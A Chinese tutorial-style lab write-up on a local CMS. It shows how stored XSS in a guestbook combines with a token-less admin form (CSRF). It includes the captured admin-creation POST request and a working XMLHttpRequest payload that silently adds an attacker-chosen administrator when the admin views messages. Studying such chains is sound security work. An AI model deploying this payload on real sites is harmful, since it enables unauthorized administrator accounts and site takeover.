xss+csrf项目实例

项目背景:

如下:我们是在一个类似文章管理系统的网站上面发现的该漏洞。我们将其运行在本地的phpstudy集成环境上面。

源码地址下载链接:https://pan.baidu.com/s/1MpnSAq7a_oOcGh4XgPE-2w

提取码:4444

考察内容:

本次实验使用的存储型xss与csrf的联合使用。我们使用这两个漏洞可以使当管理员查看留言板后自动触发,使其自动创建一个管理员账号。本网站并没有使用token值来防止csrf,所以我们才能够利用。

前提:我们是在拥有管理员权限的情况下进行的。

大致流程:

1:分析,发现存储型xss漏洞

2:发现该网站并无token值,可以进行csrf

3:使用js伪造创建管理员的form表单

4:当管理员查看留言板后自动触发xss,创建一个攻击者自己定义的管理员账号。

开始实验:

1:发现存储xss

发现该网站存在一个留言板,其中的内容会存入数据库中,管理员会不定期去查看留言板中的内容。如下:经过测试我们发现当我们将恶意的js代码放到内容板块中存入数据库,当管理员去查看留言信息后就会自动触发js恶意代码:

管理员查看留言板:可以发现自动弹窗了,说明这里存在一个存储型xss。

2:该网站并没有使用token值来防止csrf,接下来我们使用抓包工具burp suite来抓创建管理员的包,需要打开代理设置,指向抓包工具burp suite(这个操作比较简单,不会的可以进行百度):

创建管理员页面:

抓包:

POST /admin/user.action.php HTTP/1.1
Host: cms:1234
Content-Length: 94
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cms:1234
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cms:1234/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: username=admin; userid=1; PHPSESSID=0m903rglk205acbq8ol191q271
Connection: close

act=add&username=2&password=2&password2=2&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

通过对抓到的包分析:我们可以发现该包使用的是POST方式进行提交,将参数提交到/admin/user.action.php进行处理。所以我们就可以根据这个包中的内容进行伪造。

3:使用js伪造创建管理员账号的form表单:

html 复制代码
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://cms:1234/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=DJJ&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

整个js的操作是创建管理员的操作,不过是由js自动触发。

xmlhttp.open:提交地址

xmlhttp.setRequestHeader:post的请求头

xmlhttp.send:post中的参数(创建的账号,密码等)

4:将伪造的恶意js代码上传留言板,当管理员查看留言信息后自动触发,创建一个新的管理员账号。

5:管理员查看留言板,触发存储xss,创建管理员账号。

如下:当我们查看留言板后,在去查看管理员账号信息发现已经自动创建了一个我们定义的管理员账号。

相关推荐
速盾cdn8 分钟前
速盾:cdn发展历程
服务器·网络·安全
dot.Net安全矩阵15 分钟前
.NET 漏洞分析 | 某ERP系统存在SQL注入
数据库·sql·安全·web安全·矩阵·.net
helloKittywz1 小时前
Administrators就最高了???system是什么??本地用户提权内网学习第三天 你知道uac是什么??
安全·web安全·网络安全·系统安全·学习笔记·权限提升·本地用户提权
梦中北山1 小时前
JWT安全分析
开发语言·网络·安全·web安全·php
夏天想2 小时前
微服务架构是什么?他有什么优缺点。其实的安全问题如何解决?
安全·微服务·架构
dot.Net安全矩阵2 小时前
.NET 漏洞情报 | 某整合管理平台SQL注入
数据库·sql·安全·矩阵·.net
小鼠米奇2 小时前
13.什么是Proxy?
网络·安全·web安全
都适、隶仁ミ2 小时前
SQL注入工具Sqlmap
linux·网络·数据库·sql·安全·网络安全·系统安全
miao649725533 小时前
智能猫砂盆到底哪家好用?自费实测聚宠、糯雪、CEWEY真实反馈!
大数据·运维·人工智能·安全·自动化
网安加社区3 小时前
行业洞察 | 2024应用程序安全领域现状报告
网络·安全·网络安全